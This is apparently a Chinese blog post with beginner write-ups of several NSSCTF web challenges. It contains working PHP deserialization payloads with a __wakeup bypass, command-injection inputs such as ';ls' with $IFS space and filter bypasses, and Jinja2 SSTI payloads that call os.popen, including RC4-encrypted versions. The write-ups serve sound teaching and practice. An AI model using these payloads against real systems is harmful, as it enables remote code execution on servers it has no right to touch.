个人博客主页有(1)哈哈。有兴趣也可以去看看呀。
NSSCTF靶场真就新手友好。最近也有人问我怎么学习Web。虽然我还是属于小白哈哈哈就一年下来,入门的话推荐NSSCTF和CTFShow两个靶场。而且NSSCTF还有标注考查的点是什么,难度级数这种,新手刷真题友好区。CTFshow web入门区适合系统学习。BUUCTF适合进阶型,有一定难度。
我个人更倾向于直接上手实操,不用担心会不会,是不是学了系统的知识才能去做题,相反是做了题,在这个做题过程中学到知识。
好啦不多说。本篇题目解析还是一如既往,尽量在解析过程中把解题逻辑理清晰,讲一道题思路如何从1到2再到3,也有给出自己写的案例来辅助各位理解。尽量贴合新手小白的思路,虽然我自己也算小白哈哈。如果题目解析哪里有不恰当的地方恳请各位师傅指出!!///
[MoeCTF 2021]Web安全入门指北—GET
开题
代码审计:用GET方式传参,参数名为moe。
moe=flag时回显flag值。
hackbar一把嗦。
但是值得一提的是,类似方式得到的flag在大赛里面往往是假flag。或者是被分散的flag。而且往往以签到题居多。
[SWPUCTF 2022 新生赛]ez_1zpop
开题。
首先代码审计:通过GET传参传入参数名为NSS的参数,再将其反序列化。
很明显的一题反序列化。
做这类题首先是找可以写入shell的地方在哪。也就是链的终点。
而在类fin中有这么一段代码
//class fin
function fmm()
{
$b = $this->a;
$b($this->title);
}
中完全可以执行代码
system('tac /flag');
此时
system=$b=$this->a;
$this->title ='tac /flag';
此时。我们在自己的编译器上标注这一块是链子终点。为第一步。
第二步。找到可以触发fmm()的代码,也就是2
这里有两个可以触发fmm()的地方。分别是16行和22行。
return $this->impo->fmm(); //16行和22行均为此代码。
但是16行的代码触发fmm()是属于类 dxg 的。和我们目标无关。
但它隶属于魔术方法___wakeup()之下。
魔术方法___wakeup()在反序列化时实例创建之后会自动首先触发。
怎么理解这个实例创建后触发呢? 我们写个例子来理解一下。
//example 魔术方法___wakeup()理解
<?php
highlight_file(__FILE__);//高亮方便查看码源。
class info{
function __wakeup()
{
echo "flag";
}
}
$a= new info();
$a= serialize($a);
$a= unserialize($a);
?>
//回显"flag"表示。调用成功。
而在本题中我们需要绕过触发___wakeup()魔术方法。从而才能避免第15行触发代码块
$this->impo = new dxg; //第15行代码块
而我们想触发fmm()的代码隶属于魔术方法___toString()之下。
魔术方法___toString()是在对象被当作字符串使用时触发
同样,我写个例子来理解一下。
//example 魔术方法___toString()理解
<?php
highlight_file(__FILE__);
class person
{
public $name;
public $age;
public function re($name,$age)
{
$this->name=$name;
$this->age=$age;
}
public function __toString(){
return "姓名:".$this->name.",年龄:".$this->age;
}
}
$a=new Person("xinxin",20);
echo $a; //使用echo输出对象,使得类person被当作字符串调用。
?>
//输出"姓名:xinxin,年龄:20"
而类dxg在本题没有具体作用。
可以在写链子时候删掉。
<?php
highlight_file(__file__);
class lt
{
public $impo; // 2 原先这里是 public $impo='hi',我们把这里写成 new fin();
public $md51='s155964671a';
public $md52='s214587387a'; // 2 把md51和md52换成两个值不等但MD5处理后相等的值。
}
class fin
{
public $a='system';
public $url = 'https://www.ctfer.vip';
public $title='tac /flag';
}
$a=new lt();
$b=new fin();
$a->impo=$b;
$c=serialize($a);
echo $c;
?>
拿到本地运行后得到
//原始数据 O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"tac /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}
但我们要想绕过___wakeup()魔术方法,简单来说,就要把把3改成大于3的数字,从而绕过。
具体说属于CVE-2016-7124。【详情可以见__wakeup()魔术方法绕过(CVE-2016-7124)_绕过wakeup魔术方法-CSDN博客】
属于反序列化漏洞之一。本题需要用到。
即改成
//修改后的数据 O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"tac /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}
传参过去得到flag。
[FSCTF 2023]细狗2.0
开题。
它说【这个按钮不能点哦】
点点看呢?
dirsearch 扫后台也没扫出可疑端口来。
那就意味着只能从主页的输入口输东西拿flag。
输入很多东西都没什么反应
看了其他师傅的wp才知道这里居然是用【;】闭合。
很奇特的解题思路。我觉得可以用在处理CTF中打AWDP中的fix环节。
那我们输入
;ls
得到界面
index.php估计就是主页,moyu.php应该就是回显页面。
为什么这么说。我们可以看见URL此时就是/moyu.php。
接着尝试输入
;ls /
看来我输入的一些东西是被过滤了。
;ls肯定不是。
那么只剩空格和/。经过测试。被过滤的是空格。
此时如何绕过空格过滤呢?
这里有几种空格平替。
//空格平替 $IFS ${IFS} $IFS$6 //这里的数字不是6也可以,其他数字也可以。 %09 %20
ok成功进入根目录。
直接拿flag.
哦莫。显然这个地方又被ban了。
结合前面的内容,被过滤的八成是【flag】
没关系。用''绕过一下关键字过滤就好。
ok。顺利拿到flag。
[MoeCTF 2022]ezphp
开题。
一眼变量覆盖。
哈哈哈开玩笑。做过类似的主要是。
先代码审计一波:
1.不能同时用POST和GET方式传参flag。
2.无论是用POST还是GET传参flag,都不能使得flag等于'flag';
3.但是如果我想要拿$flag,我又要使得$flag=flag。
4.唯一可以利用的就是两个循环遍历代码。选择一种,会遍历你传进去的POST/GET参数名和具体值,然后进行值的再覆盖。
foreach ($_GET as $key => $value){
$$key = $$value;
}
如何理解这里的遍历代码,我写个小例子。
123=flag&flag=123 //用在这道题上。 //第一步。 $123=flag $$123=$flag=123 //第二步。 $flag=123 $$flag=$123=flag //所以综合以上。就有第一次$flag=123。第二次$123=flag。=>$$flag=flag。
同时这也是答案。
而且注意传参顺序不能出错。个人猜测这和foreach遍历顺序有关。
【请教各位师傅,不太理解传参顺序为什么不能替换】
payload:
url/?123=flag&flag=123
不能写成
url/?flag=123&123=flag
这种状况下是得不到flag的。
[NISACTF 2022]is secret
开题。
页面是这样的。
web题这种情况通常做三件事
1.先看码源。
2.BP拦截再发包看看流量包里有没有什么可疑内容。
3.工具扫目录。
这里码源和再发包基本上都没看见什么可疑内容。
只有扫目录扫到了可疑URL后缀。
一个个访问看看什么情况。
/console
不太清楚这是什么界面
/robots.txt
安卓?
/secret
感觉有点SSTI或者SQL注入那味了。
而且它明显在问我一个参数secret。个人做题经验告诉我SSTI可能性更大。
试试是否存在SSTI
/secret?secret={{7*7}}
结果出现了UnicodeDecodeError提示字样。
并且还有一个比较显眼的被红框圈住的
点开来看看是什么东西。代码块中发现了可疑内容:
render_template_string(safe(deS))
出现函数render_template_string()——很明显存在SSTI。
为什么这么说,原理理解基本上如下:
加上最近也在做SSTI专题。所以看见函数 render_template_string()
就比较敏感。
同样我们对这段码源进行审计一下。
if(secret==None): #判断secret是否为空
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #对传入的内容进行rce4解密,密钥是HereIsTreasure
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS)) #对rce4解密后的内容进行safe()过滤。最后进行字符串渲染
if 'ciscn' in a.lower():
return 'flag detected!'
return a
网上找了个rce4加密脚本。
而且rce4加密有个特点:RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文
#RCE4加密脚本
import base64
from urllib import parse
def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure" # 此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main(key, message)
enc_init = str(base64.b64decode(enc_base64), 'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:" + enc_url)
# print("rc4加密后的base64编码"+enc_base64)
测试一下确实存在SSTI
接下来就正常SSTI注入即可。
这里我们用通用注入式即可。
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
在如上未RCE4加密前的payload中:
config充当占位符。
class返回当前类。
init初始化类。
globals对包含函数全局变量的字典的引用,所有的函数都会有一个
__globals__
属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量。再调用os模块的popen执行命令。
//payload1 .%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%A79%2C%C3%98x%01%C2%8A%C2%ABO%10%C3%B1%C3%9CP%C2%A7T
{{config.__class__.__init__.__globals__['os'].popen('tac /flag.txt').read()}}
//payload2 .%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%BF%2Bo%C3%97pN%C3%88%C2%B8M_%C3%A1%C2%8C%0D%C3%BD%00tV2%C3%A8K%C2%93p%C3%BDa
拿到flag。